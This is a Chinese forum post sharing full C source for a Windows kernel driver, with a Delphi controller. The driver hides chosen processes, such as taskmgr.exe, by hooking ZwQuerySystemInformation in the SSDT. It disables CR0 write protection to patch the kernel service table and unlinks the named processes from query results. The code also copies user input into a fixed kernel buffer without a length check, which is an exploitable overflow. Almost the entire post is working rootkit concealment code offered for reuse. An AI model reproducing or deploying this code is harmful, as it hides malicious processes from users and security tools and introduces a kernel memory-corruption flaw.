通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B

不过他的文章里面,进程名字是直接写死的,不能通过三层进行传递,而且得到ZwQuerySystemInformation是通过汇编的方法,这样在其他系统上可能会有问题,所以我做了一些改善如下:
1 通过应用程序将进程名字传递进来,可以传递多个进程名字,格式为:qq.exe;taskmgr.exe;
2 通用的方法来得到ZwQuerySystemInformation的地址,不过这个方法都是从rookit上得来的。
很简单的完善了。如果没有接触过驱动的同学估计有点帮助(其实很不好意思拿上来。。)

驱动代码如下:

代码:

///////////////////////////IoControl.h/////////////////////////////


#ifndef  ___HIDE_PROCESS_IO_CONTROL___
#define   ___HIDE_PROCESS_IO_CONTROL___




#define    HIDE_PROCESS_WIN32_DEV_NAME    L"\\Device\\HideProcess"
#define    HIDE_PROCESS_DEV_NAME        L"\\DosDevices\\HideProcess"


#define    FILE_DEVICE_HIDE_PROCESS     0x00008811


#define    IO_REFERENCE_EVENT        (ULONG) CTL_CODE(FILE_DEVICE_HIDE_PROCESS, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS)
#define    IO_DEREFERENCE_EVENT      (ULONG) CTL_CODE(FILE_DEVICE_HIDE_PROCESS, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define    IO_PASSBUF              (ULONG) CTL_CODE(FILE_DEVICE_HIDE_PROCESS, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS)


/*
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define BYTE unsigned char
*/
/************************************************************************
*                                                                      *
*                             Struct Define                            *
*                                                                      *
************************************************************************/

typedef struct _Event_Struct{
  int  eventType;
  char pname[255];
  char pid[255];
}Event_Struct, *PEvent_Struct;

typedef struct _SECTION_IMAGE_INFORMATION {
  PVOID EntryPoint; 
  ULONG StackZeroBits; 
  ULONG StackReserved; 
  ULONG StackCommit; 
  ULONG ImageSubsystem; 
  WORD SubsystemVersionLow; 
  WORD SubsystemVersionHigh; 
  ULONG Unknown1; 
  ULONG ImageCharacteristics; 
  ULONG ImageMachineType; 
  ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;


/////////////////定义ntoskrnl.exe的服务表结构////////////////////////////////////////////////
typedef struct ServiceDescriptorEntry  {
    unsigned int *ServiceTableBase;          //指向系统服务程序的地址(SSDT)
    unsigned int *ServiceCounterTableBase;   //指向另一个索引表,该表包含了每个服务表项被调用的次数;不过这个值只在Checkd Build的内核中有效,在Free Build的内核中,这个值总为NULL
    unsigned int NumberOfServices;           //表示当前系统所支持的服务个数
    unsigned char *ParamTableBase;           //指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元
} ServiceDescriptorTableEntry , *PServiceDescriptorTableEntry ;

extern PServiceDescriptorTableEntry KeServiceDescriptorTable; 

struct _SYSTEM_THREADS 

  LARGE_INTEGER KernelTime; 
  LARGE_INTEGER UserTime; 
  LARGE_INTEGER CreateTime; 
  ULONG WaitTime; 
  PVOID StartAddress; 
  CLIENT_ID ClientIs; 
  KPRIORITY Priority; 
  KPRIORITY BasePriority; 
  ULONG ContextSwitchCount; 
  ULONG ThreadState; 
  KWAIT_REASON WaitReason; 
}; 

struct _SYSTEM_PROCESSES 

  ULONG NextEntryDelta;                 //下一个进程信息的偏移量,如果为0表示无一个进程信息
  ULONG ThreadCount;                    //线程数
  ULONG Reserved[6]; 
  LARGE_INTEGER CreateTime;             //创建进程的时间
  LARGE_INTEGER UserTime;               //进程中所有线程在用户模式运行时间的总和
  LARGE_INTEGER KernelTime;             //进程中所有线程在内核模式运行时间的总和
  UNICODE_STRING ProcessName;           //进程的名字
  KPRIORITY BasePriority;               //线程的缺省优先级
  ULONG ProcessId;                      //进程ID号
  ULONG InheritedFromProcessId;         //继承语柄的进程ID号
  ULONG HandleCount;                    //进程打开的语柄数量
  ULONG Reserved2[2]; 
  VM_COUNTERS VmCounters;               //虚拟内存的使用情况统计
  IO_COUNTERS IoCounters;               //IO操作的统计,Only For 2000
  struct _SYSTEM_THREADS Threads[1];    //描述进程中各线程的数组
}; 

#endif

//////////////////////HideProcess.c///////////////////////////////
#include <ntddk.h>
#include "ntiologc.h"
#include "ntimage.h"
#include <windef.h>
#include <stdio.h>
#include <string.h>
#include "IoControl.h"


VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject);
NTSTATUS  HideProcess_Create(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS  HideProcess_Close(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS  HideProcess_IoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);

///////////////声明Native API///////////////////////////////////////
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( 
    IN ULONG SystemInformationClass,      //查询系统服务类型
    IN PVOID SystemInformation,           //接收系统信息缓冲区
    IN ULONG SystemInformationLength,     //接收信息缓冲区大小
    OUT PULONG ReturnLength);             //实际接收到的大小


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
          IN ULONG SystemInformationClass, 
          IN PVOID SystemInformation, 
          IN ULONG SystemInformationLength, 
          OUT PULONG ReturnLength);



NTSTATUS MyZwQuerySystemInformation( 
    IN ULONG SystemInformationClass, 
    IN PVOID SystemInformation, 
    IN ULONG SystemInformationLength, 
    OUT PULONG ReturnLength);



////////////////////定义所用到的全局变量///////////////
extern PServiceDescriptorTableEntry KeServiceDescriptorTable; 
unsigned long OldCr0;
UNICODE_STRING DeviceNameString;
UNICODE_STRING LinkDeviceNameString;
ZWQUERYSYSTEMINFORMATION    g_OriginalZwQuerySystemInformation;
int position;
PVOID   gpEventObject = NULL;               //事件句柄
CCHAR     outBuf[1024];                        //输入缓冲区大小


#define SEC_IMAGE 0x01000000


DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName) 
{
  HANDLE hThread, hSection, hFile, hMod;
  SECTION_IMAGE_INFORMATION sii;
  IMAGE_DOS_HEADER* dosheader;
  IMAGE_OPTIONAL_HEADER* opthdr;
  IMAGE_EXPORT_DIRECTORY* pExportTable;
  DWORD* arrayOfFunctionAddresses;
  DWORD* arrayOfFunctionNames;
  WORD* arrayOfFunctionOrdinals;
  DWORD functionOrdinal;
  DWORD Base, x, functionAddress;
  char* functionName;
  STRING ntFunctionName, ntFunctionNameSearch;
  PVOID BaseAddress = NULL;
  SIZE_T size=0;

  OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};
  IO_STATUS_BLOCK iosb;

  //_asm int 3;
  ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

  oa.ObjectName = 0;

  ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
   
  ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE); 
   
  ZwClose(hFile);
   
  hMod = BaseAddress;
   
  dosheader = (IMAGE_DOS_HEADER *)hMod;
   
  opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);

  pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);

  arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);

  arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);

  arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);

  Base = pExportTable->Base;

  RtlInitString(&ntFunctionNameSearch, lpFunctionName);

  for(x = 0; x < pExportTable->NumberOfFunctions; x++)
  {
    functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);

    RtlInitString(&ntFunctionName, functionName);

    functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; 
    functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
    if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0) 
   {
     ZwClose(hSection);
     return functionAddress;
   }
}

   ZwClose(hSection);
   return 0;
}

NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
  NTSTATUS status;
  PDEVICE_OBJECT   deviceObject;

  UNICODE_STRING dllName;
  DWORD functionAddress;
 
   RtlInitUnicodeString( &DeviceNameString,    HIDE_PROCESS_WIN32_DEV_NAME );
   RtlInitUnicodeString( &LinkDeviceNameString,HIDE_PROCESS_DEV_NAME );

    KdPrint(("DriverEntry Enter............................\n"));
    
   status = IoCreateDevice(
                DriverObject,
                0,                      
                &DeviceNameString,
                FILE_DEVICE_DISK_FILE_SYSTEM,
                FILE_DEVICE_SECURE_OPEN,
                FALSE,
                & deviceObject );

    if (!NT_SUCCESS( status )) 
    {

        KdPrint(( "DriverEntry: Error creating control device object, status=%08x\n", status ));
        return status;
    }

   status = IoCreateSymbolicLink(
                (PUNICODE_STRING) &LinkDeviceNameString,
                (PUNICODE_STRING) &DeviceNameString
                );

   if (!NT_SUCCESS(status))
    {
        IoDeleteDevice(deviceObject);
        return status;
    }
 
  DriverObject->MajorFunction[IRP_MJ_CREATE] = HideProcess_Create;
  DriverObject->MajorFunction[IRP_MJ_CLOSE] = HideProcess_Close;
  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HideProcess_IoControl;

  DriverObject->DriverUnload=UnloadDriver;


//////////////////////Hook ZwQuerySystemInformation/////////////////////////////////////////////////

  RtlInitUnicodeString(&dllName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll");
  functionAddress = GetDllFunctionAddress("ZwQuerySystemInformation", &dllName);
  position = *((WORD*)(functionAddress+1));

  g_OriginalZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable->ServiceTableBase[position]);

  _asm
  {
  CLI                    //dissable interrupt
  MOV    EAX, CR0        //move CR0 register into EAX
  AND EAX, NOT 10000H //disable WP bit 
  MOV    CR0, EAX        //write register back
  }

  (ZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable->ServiceTableBase[position]) = MyZwQuerySystemInformation;

  _asm 
  {
    MOV    EAX, CR0        //move CR0 register into EAX
    OR     EAX, 10000H        //enable WP bit     
    MOV    CR0, EAX        //write register back        
    STI                    //enable interrupt
  }
  
  KdPrint(("Hook ZwQuerySystemInformation'status is Succeessfully "));


  return status ;
}

NTSTATUS HideProcess_Create(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  DbgPrint("HideProcess_Create\n");

  Irp->IoStatus.Status = STATUS_SUCCESS;
  Irp->IoStatus.Information = 0;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);

  return Irp->IoStatus.Status;
}

NTSTATUS HideProcess_Close(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  DbgPrint("HideProcess_Close\n");

  Irp->IoStatus.Status = STATUS_SUCCESS;
  Irp->IoStatus.Information = 0;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);

  return Irp->IoStatus.Status;
}


NTSTATUS HideProcess_IoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  NTSTATUS                    status = STATUS_SUCCESS;
  ULONG            controlCode;
  PIO_STACK_LOCATION      irpStack;
  HANDLE            hEvent;
  OBJECT_HANDLE_INFORMATION  objHandleInfo;
  ULONG                       outputLength, inputLength;
  PVOID                       inputBuffer;

  
  irpStack = IoGetCurrentIrpStackLocation(Irp);
  outputLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
  inputLength=irpStack->Parameters.DeviceIoControl.InputBufferLength;
  controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
  
  switch(controlCode)
  {
  case IO_REFERENCE_EVENT:            //获取事件的句柄
    hEvent = (HANDLE) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
    status = ObReferenceObjectByHandle(
        hEvent,
        GENERIC_ALL,
        NULL,
        KernelMode,
        &gpEventObject,
        &objHandleInfo);
    if(status != STATUS_SUCCESS)
    {
      DbgPrint("ObReferenceObjectByHandle failed! status = %x\n", status);
      break;
    }
    DbgPrint("IO_REFERENCE_EVENT\n");
    break;
  case IO_PASSBUF:     //应用层传输数据到驱动
    inputBuffer = (char*)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
        RtlCopyMemory(&outBuf[0], inputBuffer, inputLength);
    DbgPrint("IO_PassBuf:%s:%d", outBuf, strlen(outBuf));
    break;

  case IO_DEREFERENCE_EVENT:
    if(gpEventObject)
    {
      ObDereferenceObject(gpEventObject);
      gpEventObject = NULL;
    }
    DbgPrint("IO_DEREFERENCE_EVENT\n");
    break;
  default:
    break;
  }

  Irp->IoStatus.Status = STATUS_SUCCESS;
  Irp->IoStatus.Information = 0;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);

  return status;
}


VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING uniWin32NameString;
    UNICODE_STRING LinkNameString;
    PDEVICE_OBJECT deviceObject;

//////////////////////UnHook ZwQuerySystemInformation/////////////////////////////////////////////////
 
  _asm
 {
    CLI                    //dissable interrupt
    MOV    EAX, CR0        //move CR0 register into EAX
    AND EAX, NOT 10000H    //disable WP bit 
    MOV    CR0, EAX        //write register back
  }

  (ZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable->ServiceTableBase[position]) = g_OriginalZwQuerySystemInformation;

  _asm 
  {
    MOV    EAX, CR0        //move CR0 register into EAX
    OR     EAX, 10000H     //enable WP bit     
    MOV    CR0, EAX        //write register back        
    STI                    //enable interrupt
  }
  
    KdPrint(("UnHookZwQuerySystemInformation'status is Succeessfully................... "));
    deviceObject= DriverObject->DeviceObject;
    IoDeleteSymbolicLink(&LinkDeviceNameString);
    ASSERT(!deviceObject->AttachedDevice);
    if ( deviceObject != NULL )
    {
        IoDeleteDevice( deviceObject );
    }

}

NTSTATUS MyZwQuerySystemInformation( 
    IN ULONG SystemInformationClass, 
    IN PVOID SystemInformation, 
    IN ULONG SystemInformationLength, 
    OUT PULONG ReturnLength) 

  NTSTATUS rc; 
  STRING ntNameString;
  UNICODE_STRING process_name;
  char *buf , *haystack;
  char cpOutBuf[1024];
  char *sep = ";";

  strcpy(cpOutBuf, outBuf);
  haystack = &cpOutBuf[0];
  
  rc = (g_OriginalZwQuerySystemInformation) ( 
    SystemInformationClass, 
    SystemInformation, 
    SystemInformationLength, 
    ReturnLength); 
  
  if(NT_SUCCESS(rc)) 
  {
    if(5 == SystemInformationClass)
    { 
      struct _SYSTEM_PROCESSES *curr;
      struct _SYSTEM_PROCESSES *prev;

      buf  = strstr(haystack, sep);
      while(buf  != NULL)
      {
        buf [0] = '\0';
        DbgPrint("%s", haystack);
        RtlInitAnsiString(&ntNameString, haystack); 
        RtlAnsiStringToUnicodeString(&process_name, &ntNameString, TRUE);
                
        haystack = buf  + strlen(sep);
        buf  = strstr(haystack, sep);
  
        curr = (struct _SYSTEM_PROCESSES *)SystemInformation; 
        prev = NULL; 
        if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta); 

        while(curr)
        {  
          if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
          {
            DbgPrint("hide process name taskmgr.exe");

            //找到要隐藏的进程
            if(prev) 
            { 
              //要删除的信息在中间,则把指针指向下一个节点
              if(curr->NextEntryDelta) 
                prev->NextEntryDelta += curr->NextEntryDelta; 
              else 
                prev->NextEntryDelta = 0; //要删除的信息在末尾,则直接把指针指向0
            } 
            else 
            { 
              if(curr->NextEntryDelta) 
                (char *)SystemInformation += curr->NextEntryDelta; //要删除的信息在开头
              else 
                SystemInformation = NULL; 
            } 

            //如果链下一个还有其他的进程信息,指针往后移
            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta); 
            else 
            { 
              curr = NULL;
              break; 
            } 
            }

          if(curr != NULL) 
          { 
            //把当前指针设置成前一个指针,当前指针后移
            prev = curr; 
            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta); 
            else curr = NULL; 
          }
        }
                RtlFreeUnicodeString(&process_name);
      }
    }
  }

    return rc;

}


三层的代码如下:
/////////////////////delphi code///////////////////////////

procedure TForm1.btnHideClick(Sender: TObject);
var
  dwReturn: DWORD;
  proname:array [0..1023] of char;
begin
  //创建设备
  try
    m_hCommDevice := CreateFile('\\.\HideProcess',  GENERIC_READ or GENERIC_WRITE,  FILE_SHARE_READ, nil,
                      OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  except
    MessageBox(Handle, '创建设备失败', '隐藏进程启动', MB_OK + MB_ICONWARNING);
  end;
  //创建事件
  try
    m_hCommEvent := CreateEvent(nil, false, false, nil);
  except
    CloseHandle(m_hCommDevice);
    MessageBox(Handle, '创建事件失败', '隐藏进程启动', MB_OK + MB_ICONWARNING);
  end;

  //发送事件句柄给驱动
  DeviceIoControl(m_hCommDevice, IO_REFERENCE_EVENT, pointer(m_hCommEvent),  0, nil, 0, dwReturn, nil);

  StrPCopy(@proname, Trim(edtProcessName.Text));
  DeviceIoControl(m_hCommDevice, IO_PASSBUF, @proname,  sizeof(proname), nil, 0, dwReturn, nil);
end;

整个工程的代码如下: 进程隐藏.rar